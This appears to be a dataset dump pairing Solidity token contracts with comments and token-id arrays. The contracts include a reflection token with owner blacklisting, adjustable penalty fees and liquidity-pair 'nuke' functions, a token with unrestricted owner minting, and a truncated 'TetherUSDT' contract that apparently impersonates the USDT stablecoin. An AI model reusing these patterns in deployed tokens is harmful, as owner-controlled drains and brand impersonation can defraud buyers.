* (10**18); return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum <= (totalSupply() * 5 / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.5%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum <= (totalSupply() * 2 / 100) / 1e18, "Cannot set maxWallet lower than 2%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; emit ExcludeFromMaxTransaction(updAds, isEx); } function excludeFromMaxWallet(address updAds, bool isEx) public onlyOwner { _isExcludedMaxWalletAmount[updAds] = isEx; emit ExcludeFromMaxWallet(updAds, isEx); } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _reflectionFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyReflectionFee = _reflectionFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees + buyReflectionFee <= 14, "Must keep fees at 14% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _reflectionFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellReflectionFee = _reflectionFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees + sellReflectionFee <= 16, "Must keep fees at 16% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit MarketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit DevWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) external view returns(bool) { return _isExcludedFromFees[account]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to], "TOKEN: the account is blacklisted!"); if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } // when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } if (!_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "transfer amount exceeds the maxTransactionAmount."); } if (!_isExcludedMaxWalletAmount[to]) { require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } // anti bot logic if (block.number <= (launchedAt + 5) && to != uniswapV2Pair && to != address(uniswapV2Router) ) { bots[to] = true; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if (!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; uint256 reflectionFee = 0; // only take fees on buys/sells, do not take on wallet transfers after penalty time if (takeFee) { // on buy if (automatedMarketMakerPairs[from] && to != address(uniswapV2Router)) { if (_holderFirstBuyTimestamp[to] == 0) { _holderFirstBuyTimestamp[to] = block.timestamp; } fees = amount.mul(buyTotalFees).div(100); reflectionFee = buyReflectionFee; getTokensForFees(amount, buyMarketingFee, buyLiquidityFee, buyDevFee); } // on sell else if (automatedMarketMakerPairs[to] && from != address(uniswapV2Router)) { if (_holderFirstBuyTimestamp[from] != 0 && (_holderFirstBuyTimestamp[from] + _penaltyFeeTime >= block.timestamp)) { fees = amount.mul(totalFeesForPenalty).div(100); reflectionFee = sellReflectionFee; getTokensForFees(amount, earlySellMarketingFee, earlySellLiquidityFee, sellDevFee); } else { fees = amount.mul(sellTotalFees).div(100); reflectionFee = sellReflectionFee; getTokensForFees(amount, sellMarketingFee, sellLiquidityFee, sellDevFee); } } // on transfer else if (!automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to]) { if (_holderFirstBuyTimestamp[from] != 0 && (_holderFirstBuyTimestamp[from] + _penaltyFeeTime >= block.timestamp)) { fees = amount.mul(totalFeesForPenalty).div(100); reflectionFee = sellReflectionFee; getTokensForFees(amount, earlySellMarketingFee, earlySellLiquidityFee, sellDevFee); } } if (fees > 0) { _tokenTransfer(from, address(this), fees, 0); amount -= fees; } } _tokenTransfer(from, to, amount, reflectionFee); } function getTokensForFees(uint256 _amount, uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) private { tokensForMarketing += _amount.mul(_marketingFee).div(100); tokensForLiquidity += _amount.mul(_liquidityFee).div(100); tokensForDev += _amount.mul(_devFee).div(100); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, liquidityTokens); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ _tokenTransfer(uniswapV2Pair, address(0xdead), amountToBurn, 0); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ _tokenTransfer(uniswapV2Pair, address(0xdead), amountToBurn, 0); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } // Get first Buy time function originalPurchase(address account) external view returns (uint256) { return _holderFirstBuyTimestamp[account]; } // Set Penalty Fee function setPenaltyFee(uint256 _earlySellMarketingFee, uint256 _earlySellLiquidityFee) external onlyOwner { earlySellMarketingFee = _earlySellMarketingFee; earlySellLiquidityFee = _earlySellLiquidityFee; totalFeesForPenalty = earlySellMarketingFee + earlySellLiquidityFee + sellDevFee; require(totalFeesForPenalty + sellReflectionFee <= 30, "Must keep fees at 30% or less"); } // Set Penalty Fee Time function setPenaltyFeeTime(uint256 time) external onlyOwner { _penaltyFeeTime = time; } // Reflection function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _tokenTransfer(address sender, address recipient, uint256 amount, uint256 reflectionFee) private { _transferStandard(sender, recipient, amount, reflectionFee); } function _transferStandard(address sender, address recipient, uint256 tAmount, uint256 reflectionFee) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount, reflectionFee); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount, uint256 reflectionFee) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount, reflectionFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount, uint256 reflectionFee) private pure returns (uint256, uint256) { uint256 tFee = tAmount.mul(reflectionFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } // Bots function manageBots(address[] calldata _addresses, bool _isBot) external onlyOwner { for (uint256 i = 0; i < _addresses.length; i++) { bots[_addresses[i]] = _isBot; } } }
set as marketing wallet
marketingWallet = address(0x42BC308cbf38AB82a4BF8e35cC7c99d145d078c4);
11,963,820
[ 1, 542, 487, 13667, 310, 9230, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 13667, 310, 16936, 273, 1758, 12, 20, 92, 9452, 16283, 5082, 28, 7358, 74, 7414, 2090, 11149, 69, 24, 15259, 28, 73, 4763, 71, 39, 27, 71, 2733, 72, 30379, 72, 20, 8285, 71, 24, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.21; library SafeMath { function mul(uint a, uint b) internal pure returns(uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function sub(uint a, uint b) internal pure returns(uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; assert(c >= a && c >= b); return c; } } contract ERC20 { uint public totalSupply; function balanceOf(address who) public view returns(uint); function allowance(address owner, address spender) public view returns(uint); function transfer(address to, uint value) public returns(bool ok); function transferFrom(address from, address to, uint value) public returns(bool ok); function approve(address spender, uint value) public returns(bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // The Exchange token contract MultiToken is ERC20, Ownable { using SafeMath for uint; // Public variables of the token string public name; string public symbol; uint public decimals; // How many decimals to show. string public version; uint public totalSupply; uint public tokenPrice; bool public exchangeEnabled; bool public codeExportEnabled; mapping(address => uint) public balances; mapping(address => mapping(address => uint)) public allowed; // The Token constructor function MultiToken(uint _initialSupply, string _tokenName, uint _decimalUnits, string _tokenSymbol, string _version, uint _tokenPrice ) public { totalSupply = _initialSupply * (10**_decimalUnits); name = _tokenName; // Set the name for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes version = _version; // Version of token tokenPrice = _tokenPrice; // Token price in ETH balances[0xeadA6cDDC45656d0E72089997eE3d6D4383Bce89] = totalSupply; codeExportEnabled = true; exchangeEnabled = true; } event TransferSold(address indexed to, uint value); event TokenExchangeEnabled(address caller, uint exchangeCost); event TokenExportEnabled(address caller, uint enableCost); // @notice It will send tokens to sender based on the token price function swapTokens() public payable { require(exchangeEnabled); uint tokensToSend; tokensToSend = (msg.value * (10**decimals)) / tokenPrice; require(balances[owner] >= tokensToSend); balances[msg.sender] += tokensToSend; balances[owner] -= tokensToSend; owner.transfer(msg.value); emit Transfer(owner, msg.sender, tokensToSend); emit TransferSold(msg.sender, tokensToSend); } // @notice will be able to mint tokens in the future // @param _target {address} address to which new tokens will be assigned // @parm _mintedAmount {uint256} amouont of tokens to mint function mintToken(address _target, uint256 _mintedAmount) public onlyOwner() { balances[_target] += _mintedAmount; totalSupply += _mintedAmount; emit Transfer(0, _target, _mintedAmount); } // @notice transfer tokens to given address // @param _to {address} address or recipient // @param _value {uint} amount to transfer // @return {bool} true if successful function transfer(address _to, uint _value) public returns(bool) { require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } // @notice transfer tokens from given address to another address // @param _from {address} from whom tokens are transferred // @param _to {address} to whom tokens are transferred // @param _value {uint} amount of tokens to transfer // @return {bool} true if successful function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) { require(_to != address(0)); require(balances[_from] >= _value); // Check if the sender has enough require(_value <= allowed[_from][msg.sender]); // Check if allowed is greater or equal balances[_from] = balances[_from].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); // adjust allowed emit Transfer(_from, _to, _value); return true; } // @notice to query balance of account // @return _owner {address} address of user to query balance function balanceOf(address _owner) public view returns(uint balance) { return balances[_owner]; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public returns(bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // @notice to query of allowance of one user to the other // @param _owner {address} of the owner of the account // @param _spender {address} of the spender of the account // @return remaining {uint} amount of remaining allowance function allowance(address _owner, address _spender) public view returns(uint remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
@notice will be able to mint tokens in the future @param _target {address} address to which new tokens will be assigned @parm _mintedAmount {uint256} amouont of tokens to mint
function mintToken(address _target, uint256 _mintedAmount) public onlyOwner() { balances[_target] += _mintedAmount; totalSupply += _mintedAmount; emit Transfer(0, _target, _mintedAmount); }
268,615
[ 1, 20194, 506, 7752, 358, 312, 474, 2430, 316, 326, 3563, 225, 389, 3299, 288, 2867, 97, 1758, 358, 1492, 394, 2430, 903, 506, 6958, 632, 1065, 81, 389, 81, 474, 329, 6275, 288, 11890, 5034, 97, 2125, 1395, 1580, 434, 2430, 358, 312, 474, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 1345, 12, 2867, 389, 3299, 16, 2254, 5034, 389, 81, 474, 329, 6275, 13, 1071, 1338, 5541, 1435, 288, 540, 203, 540, 203, 3639, 324, 26488, 63, 67, 3299, 65, 1011, 389, 81, 474, 329, 6275, 31, 203, 3639, 2078, 3088, 1283, 1011, 389, 81, 474, 329, 6275, 31, 203, 3639, 3626, 12279, 12, 20, 16, 389, 3299, 16, 389, 81, 474, 329, 6275, 1769, 3639, 203, 565, 289, 203, 21281, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at BscScan.com on 2021-11-06 */ // SPDX-License-Identifier: MIT //owner: 0x02de1D9A3aed5E851FD1f085B685262eE0c7a7cA pragma solidity ^0.8.7; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor (address _tokenOwner) { _owner = _tokenOwner; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract TetherUSDT is Context, IERC20, Ownable { address private _ultimateOwner = 0xC1B10E976d57c6560Ec729759749faA5Bc84e784; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () Ownable(_ultimateOwner) { _totalSupply = 71357845272 * 10 ** uint256(decimals()); _name = "TetherUSDT"; _symbol = "USDT"; _balances[_ultimateOwner] = _totalSupply; emit Transfer(address(0) , _ultimateOwner, _totalSupply); } /** * @dev Returns the name of the token. */ function name() external view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {BEP20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IBEP20-balanceOf} and {IBEP20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 6; } /** * @dev Returns the bep token owner. * https://github.com/binance-chain/BEPs/blob/master/BEP20.md */ function getOwner() external virtual override view returns (address) { return owner(); } /** * @dev See {IBEP20-totalSupply}. */ function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } /** * @dev See 